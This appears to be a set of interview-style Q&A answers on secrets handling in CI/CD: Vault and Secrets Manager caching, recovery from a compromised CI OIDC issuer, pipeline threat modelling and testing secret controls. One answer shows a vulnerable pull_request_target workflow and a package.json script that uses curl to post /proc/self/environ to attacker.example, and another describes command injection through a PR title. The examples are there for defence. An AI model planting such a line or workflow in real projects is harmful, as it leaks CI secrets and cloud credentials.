Vault Agent persistence is what lets bucket 2 survive a restart:

HCL
cache {
  use_auto_auth_token = true
  persist {
    type = "kubernetes"
    path = "/vault/agent/cache"
  }
}

Without persist, an agent restart during the outage loses the lease and the pod becomes a new workload: fails closed, correct, but a rolling restart mid-incident takes you down.

Secrets Manager is a different shape. No leases: the value is valid until the next rotation, so an in-memory cache is the only thing keeping you alive. Bound it with a refresh interval and a hard max-staleness cutoff:

Python
# Python 3.12, boto3 1.34
import time, boto3
_client = boto3.client("secretsmanager")
_cache = {}          # name -> (value, fetched_at)
REFRESH, MAX_STALE = 300, 900

def get(name):
    val, at = _cache.get(name, (None, 0.0))
    age = time.monotonic() - at
    if val is not None and age < REFRESH:
        return val
    try:
        resp = _client.get_secret_value(SecretId=name)
        _cache[name] = (resp["SecretString"], time.monotonic())
        return resp["SecretString"]
    except _client.exceptions.ClientError:
        if val is not None and age < MAX_STALE:
            return val
        raise

Trace: fetch at t=0. At t=300 the refresh fails, age 300 < 900, serve stale. Same at t=600. At t=900, age is not < 900, raise: the process stops serving that secret 15 min after the last successful fetch. Rotation is a Lambda that also has to keep working; if it's down, the cache is all you have.

Failure modes and how you see them:

  • All audit devices down → Vault refuses every request, total not partial. Alert on vault.audit.log_request_failure while a second device still exists.
  • Sealed → 503 on everything. Watch vault.core.unsealed. If auto-unseal's KMS is what's down, it's manual unseal with a quorum of key holders.
  • Stale performance replica serving reads → detect on replication lag; blast radius is a deploy reading a credential already rotated on the primary.
  • Revocation during the outage → you can't revoke what you can't reach; blast radius is every lease issued before the outage, bounded by max TTL.

Break-glass: narrow-policy token, long TTL, stored offline, two people to use, pages security. Test quarterly; an untested break-glass is a rumor.

Restoration order: unseal → audit devices → auth methods → secrets engines → then let apps reconnect. Apps first hammer a sealed Vault.

What would change this: if the workload can't take a 1h stop, the fix is a warm standby in another region or a credential broker that survives the control plane, not a longer TTL.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-16

Recover from compromise of the CI identity issuer.

Answer

Assumptions: the CI identity issuer is an OIDC provider (GitHub Actions, GitLab, Buildkite) that clouds trust via an AWS IAM OIDC provider, a GCP workload identity pool provider, or an Azure federated identity credential. The issuer’s signing key or token-minting path is compromised. You have CloudTrail, GCP Audit Logs, Azure Activity Log, and CI run logs.

Core answer: Treat it as an active incident. First, stop new token exchanges: delete or disable the OIDC provider / workload identity pool provider / federated credential in every account that trusts it. That is the only step that immediately stops an attacker minting tokens from the compromised issuer. Second, revoke existing sessions. In AWS, attach an inline deny with aws:TokenIssueTime before the incident (the AWSRevokeOlderSessions pattern) to every role that trusted the issuer; deleting the provider does not kill sessions already assumed. In GCP, delete the workload identity provider and disable or rotate any service account keys it could impersonate. In Azure, delete the federated identity credential and disable the service principal. Third, preserve issuer logs, CI run logs, and cloud audit. Fourth, rotate the issuer’s signing keys, update cloud trust with the new JWKS/thumbprint, and re-enroll with narrow sub/aud conditions and short session durations. Fifth, re-enable with low-risk canaries, then monitor for old kid and old issuer URL attempts.

Why key rotation alone is insufficient: a token already minted is valid until its exp. GitHub Actions OIDC tokens are 5 minutes; the cloud session they exchange for is 1 hour by default on AWS (up to 12 hours if the role’s max session duration is raised), and 1 hour on GCP/Azure. Clouds also cache the issuer’s JWKS, so after you rotate keys the old key may still validate until the cache expires. The containment window is session duration plus JWKS cache, not the token TTL. You must remove trust and revoke sessions, not just rotate keys.

Trade-off: full trust freeze vs scoped revocation. A full freeze across all accounts is safe and simple, but it stops every CI deploy, including unrelated teams. Scoped revocation by sub (repo/ref) or aud keeps some pipelines running, but you must know which workflows are compromised. If the issuer key is exposed, the attacker can mint any sub, so scoping is only safe when the compromise is limited to a specific workflow or token-minting path. For privileged roles, freeze everything; for read-only roles, scoped revocation is defensible.

Failure modes and detection:

  1. Cached JWKS extends old-key acceptance past key rotation. Log the kid in the token header and alert on any old kid after rotation.
  2. Long-lived sessions outlive trust removal. Query CloudTrail AssumeRoleWithWebIdentity and subsequent API calls with aws:TokenIssueTime before the incident.
  3. Downstream credentials created from the session (IAM user access keys, service account keys, GitHub PATs) persist. Scan for new access keys and PATs created in the window.
  4. CI caches tokens or artifacts. Check runner logs for token reuse.
CloudTrust objectImmediate stopSession revocation
AWSIAM OIDC providerDelete provider or detach role trust policyInline deny with aws:TokenIssueTime (AWSRevokeOlderSessions pattern)
GCPWorkload identity pool providerDelete provider or update attribute conditionDelete provider; disable/rotate service account keys
AzureFederated identity credentialDelete credentialDisable service principal; rotate secrets

Worked trace: Attacker mints a GitHub Actions OIDC token at T+0 with sub=repo:org/repo:ref:refs/heads/main, aud=sts.amazonaws.com, exp=T+5min. At T+1min, sts:AssumeRoleWithWebIdentity validates against the cached JWKS and issues a 1-hour session. At T+10min, you delete the IAM OIDC provider. The attacker’s session still works until T+61min. You attach AWSRevokeOlderSessions with aws:TokenIssueTime < T+10min; the next API call with that session is denied. But if the attacker used the session at T+5min to create an IAM user access key, that key still works until you rotate it. Recovery order: freeze trust, revoke sessions, rotate downstream credentials, then re-enable.

Closing condition: if the issuer compromise is limited to a single workflow and you can prove the signing key was not exposed, scoped revocation by sub is enough; if the key is exposed, full freeze.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-2

Threat-model secrets in a continuous delivery pipeline.

Answer

What I'd say in the first two minutes

Two assumptions up front: this is GitHub Actions with AWS as the deploy target, and OIDC federation is available. On GitLab the shape is identical but the specifics change: id_tokens: in .gitlab-ci.yml instead of permissions: id-token: write.

The pipeline's trust boundary is not the repo. It's the set of identities that can cause code to execute while holding a credential. So I'd enumerate credentials first, then for each one ask: who can trigger a job that can read this, and what does the token's subject claim actually authorize? Most real incidents are a mismatch between those two answers.

Four controls carry most of the weight. First, no long-lived cloud keys in CI: federate. GitHub mints an OIDC token with a 5-minute lifetime; you exchange it at sts:AssumeRoleWithWebIdentity for a session that defaults to 1 hour. Second, untrusted code never runs with secrets: a fork's pull_request gets a read-only GITHUB_TOKEN and no secrets, and pull_request_target must never check out the PR head. Third, ephemeral runners with an egress allowlist. Fourth, pin every action to a full commit SHA, not a tag.

The exfiltration path I'd walk through

YAML
on: pull_request_target
jobs:
  test:
    permissions: { id-token: write, contents: read }
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }
      - run: npm ci && npm test

An attacker opens a PR that edits package.json:

JSON
"scripts": { "test": "curl -s -d @- https://attacker.example/x < /proc/self/environ" }

Trace it: (1) pull_request_target runs the base branch's workflow, so the attacker can't edit the YAML, but the checkout step explicitly pulls the PR head. (2) npm ci installs the attacker's manifest and npm test runs their script. (3) /proc/self/environ holds ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL, and any secrets.* in scope. (4) The script POSTs them out; id-token: write also lets it mint a token and exchange it at STS for whatever role the trust policy permits.

Detection is two signals, not one: CloudTrail AssumeRoleWithWebIdentity where sub isn't the expected environment, and egress to a host off the allowlist.

Where the trade-offs bite

ThreatControlWhat it costsDetect by
Fork PR runs with secretspull_request for forks; never checkout head under pull_request_targetSome PRs can't run integration testsWorkflow audit: any pull_request_target with a head-ref checkout
Overbroad trust policyPin sub to repo:acme/api:environment:prodNew environments need a policy editSTS calls with sub ending in :*
Runner persistenceEphemeral runnersGitHub-hosted Linux is ~$0.008/min; self-hosted is cheaper but you own teardownLeftover files or creds between jobs
Log leakage::add-mask::Masks exact strings only: base64 or split output defeats itHigh-entropy scan over job logs
Cache/artifact poisoningScope caches to the merge ref; re-verify artifacts at promotionCache hit rate dropsCache key provenance vs. writing job

That trust-policy row is the one people get wrong. "repo:acme/api:*" means any branch, including one a fork PR just merged into, can assume the production role. The fix is one string:

JSON
"Condition": { "StringEquals": {
  "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
  "token.actions.githubusercontent.com:sub": "repo:acme/api:environment:prod"
}}

Failure modes and how I'd catch them

Command interpolation is the quiet one: run: echo "${{ github.event.pull_request.title }}" lets a PR title containing $(...) execute on the runner. Detect by grepping workflows for ${{ github.event inside run: blocks and moving those values to env:.

Audit tampering is the one you can't detect from inside the pipeline, if the attacker can edit workflow runs or delete logs, your evidence is gone. Ship job logs to a separate account with a write-only role, and rehearse revocation: rotate the OIDC trust policy and the deploy role's permissions boundary, and confirm a stale token fails. If you've never run that drill, you don't know your blast radius.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-25

Build a test strategy for pipeline secret controls.

Answer

Assumptions to state up front: GitHub Actions as the CI, OIDC federation into AWS, secrets in Vault or Secrets Manager, self-hosted runners in scope, and one staging account you can afford to burn. If your CI is GitLab or Jenkins the same three layers apply; the flags differ.

Core answer

A secret-control strategy is three layers, and the pass criterion for each is a negative: you are testing that something is refused, not that something works.

  1. Prevention. Every credential path that should be denied must be denied, and the denial must land in an audit log. The OIDC trust policy is the only thing between a fork PR and a cloud role, so the test that matters is the one that tries to assume the role from a ref the policy should reject.
  2. Detection. If a secret does reach a log, artifact or cache, a canary proves it. Masking is literal-string matching, so a base64 or JSON-encoded copy of the canary is not masked: that is the test, not a bug you fix.
  3. Recovery. Given a leak, revocation completes inside a stated budget. Measure it; don't assert it.

Sequencing and ownership. Prevention runs on every PR touching .github/workflows/ or the trust policy. Detection and recovery run nightly and are mandatory before any trust-policy change. The platform team owns the suite; on-call owns the recovery drill.

The suite

TestMechanism exercisedPass criterionDetection signal
OIDC negativeIAM trust policy sub/aud conditionAssumeRoleWithWebIdentity returns AccessDeniedCloudTrail event, errorCode: AccessDenied
Fork PRpull_request gives read-only GITHUB_TOKEN, no secretssecrets context empty, token perms read-onlyrun log shows no secret references
Masking transformliteral-string log maskingbase64 canary appears in log → test failsgrep log for encoded canary
TTL / revocationVault lease TTLstore returns 403 after revokelease ID absent from audit device
Action pinningtag vs commit SHAno uses: resolves to a mutable tagstatic scan of workflow files

Worked check: the OIDC negative test

YAML
# runs on a feature branch, not main
permissions:
  id-token: write
  contents: read
jobs:
  wrong-ref:
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        id: assume
        continue-on-error: true
        with:
          role-to-assume: arn:aws:iam::111122223333:role/ci-deploy
          aws-region: us-east-1
      - run: |
          if [ "${{ steps.assume.outcome }}" != "failure" ]; then
            echo "FAIL: role assumed from a ref the trust policy should reject"
            exit 1
          fi

Trace it: the step calls AssumeRoleWithWebIdentity; IAM evaluates the trust policy condition sub == repo:org/repo:ref:refs/heads/main; the token's sub is ...:ref:refs/heads/feature-x, so IAM returns AccessDenied; the action exits non-zero, outcome is failure, continue-on-error lets the job continue, and the guard passes. If someone widens the condition to repo:org/repo:*, the assume succeeds, outcome is success, and the guard fails the build. That is the whole point: the test fails when the control is removed.

Cost and cadence

Prevention is ~40 jobs at ~90 s each ≈ 60 runner-minutes per PR. On GitHub-hosted Linux 2-core at roughly $0.008/min that is about $0.48 per run: cheap enough to gate every PR. The nightly detection and recovery suite is the expensive part because it needs a prod-like account; run it once, not per PR.

Trade-offs

  • Synthetic canary in staging vs prod. Staging is cheap and safe but misses prod-only paths (real IAM boundaries, real log sinks). Deciding criterion: if the control's failure mode is credential exfiltration, test in an account with no data, and accept the fidelity gap.
  • Full-fidelity staging vs blast radius. A prod-like account gives real signal and real risk. Keep a dedicated break-glass test account so a failed drill can't touch anything serving traffic.
  • Masking vs transforms. You cannot mask what you cannot enumerate. Prefer OIDC and short-lived dynamic secrets over static values, because then there is nothing long-lived to leak.

Failure modes and how you'd see them

  • Masking bypass via transform. Detection: nightly grep for the base64 canary in logs. Expected: the test fails, which tells you masking is not a control for encoded values.
  • pull_request_target plus checkout of PR head. Detection: static scan flagging any workflow that combines pull_request_target with actions/checkout of github.event.pull_request.head.sha. Expected: build fails until the pattern is removed.
  • Static keys left in the repo. Detection: secret scanning plus a policy that only OIDC roles are assumable. Expected: PR blocked.
  • Issuer or secret-store outage. Detection: the negative test starts passing for the wrong reason. A 500 from the store looks like a denial. Assert on the error code, not just non-zero exit.

Recovery drill

Inject a canary into a log, then run the documented revocation path and time it. Target: revoked in under 15 minutes, with the alert correlating job, session and action. If the drill takes an hour, the runbook is the finding, not the canary.

Curated: · Written: · Reviewed:

Difficulty: Hard